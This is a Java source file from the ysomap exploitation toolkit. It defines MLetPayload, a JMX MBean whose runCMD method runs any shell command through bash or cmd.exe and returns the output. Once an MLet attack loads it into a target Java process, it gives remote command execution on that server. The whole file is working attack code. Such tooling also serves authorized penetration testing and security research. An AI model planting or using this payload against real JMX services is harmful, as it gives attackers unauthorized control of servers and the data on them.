package ysomap.exploits.jmx.component;

import java.io.InputStreamReader;

/**
 * @author wh1t3P1g
 * @since 2020/3/15
 */
public class MLetPayload implements MLetPayloadMBean {

    public String runCode() {
        return null;
    }

    public String runCMD(String cmd) {
        try {
            String[] full_cmd;

            if(System.getProperty("line.separator").equals("\n")){
                full_cmd = new String[]{"bash","-c",cmd};
            } else { // Assumes win
                full_cmd = new String[]{"cmd.exe", "/c", cmd};
            }

            Runtime runtime = Runtime.getRuntime();
            Process p = runtime.exec(full_cmd);

            p.waitFor();

            java.io.InputStream is = p.getInputStream();
            java.io.BufferedReader reader = new java.io.BufferedReader(new InputStreamReader(is));

            StringBuilder builder = new StringBuilder();
            String line = null;
            while ( (line = reader.readLine()) != null) {
                builder.append(line);
                builder.append(System.getProperty("line.separator"));
            }
            String result = builder.toString();

            is.close();

            return result;

        } catch(Exception ex) {
            return ex.getMessage();
        }
    }

}
